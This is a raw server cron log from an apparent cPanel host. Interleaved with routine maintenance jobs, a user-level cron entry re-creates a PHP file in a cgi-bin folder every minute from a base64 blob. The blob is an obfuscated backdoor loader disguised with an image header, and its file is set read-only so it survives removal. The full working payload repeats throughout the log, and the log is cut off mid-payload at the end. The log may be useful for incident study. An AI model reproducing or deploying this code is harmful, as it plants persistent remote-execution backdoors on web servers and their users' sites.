Sep 10 08:09:01 server CROND[4116]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 08:10:01 server CROND[4499]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 08:10:01 server CROND[4498]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 08:10:01 server CROND[4501]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 08:10:01 server CROND[4502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:10:01 server CROND[4507]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 08:10:01 server CROND[4505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:10:01 server CROND[4506]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:10:01 server CROND[4508]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 08:11:01 server CROND[5374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:11:01 server CROND[5375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:11:01 server CROND[5376]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:12:01 server CROND[5745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:12:01 server CROND[5746]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 08:12:01 server CROND[5747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:12:01 server CROND[5748]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:13:01 server CROND[6236]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:13:01 server CROND[6235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:13:01 server CROND[6237]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:14:01 server CROND[6629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:14:01 server CROND[6630]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:14:01 server CROND[6631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:15:01 server CROND[7032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:15:01 server CROND[7034]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 08:15:01 server CROND[7033]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 08:15:01 server CROND[7035]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:15:01 server CROND[7040]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 10 08:15:01 server CROND[7039]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 08:15:01 server CROND[7042]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:15:01 server CROND[7041]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 08:15:01 server CROND[7043]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 08:16:01 server CROND[7897]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:16:01 server CROND[7896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:16:01 server CROND[7898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:17:01 server CROND[8282]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:17:01 server CROND[8283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:17:01 server CROND[8284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:18:01 server CROND[8744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:18:01 server CROND[8745]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:18:01 server CROND[8746]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:19:01 server CROND[9162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:19:01 server CROND[9161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:19:01 server CROND[9163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:20:01 server CROND[9665]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 08:20:01 server CROND[9667]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 08:20:01 server CROND[9666]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 08:20:01 server CROND[9670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:20:01 server CROND[9668]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 08:20:01 server CROND[9672]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 08:20:01 server CROND[9674]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:20:01 server CROND[9678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:20:01 server CROND[9675]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 08:21:01 server CROND[10591]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:21:01 server CROND[10590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:21:01 server CROND[10592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7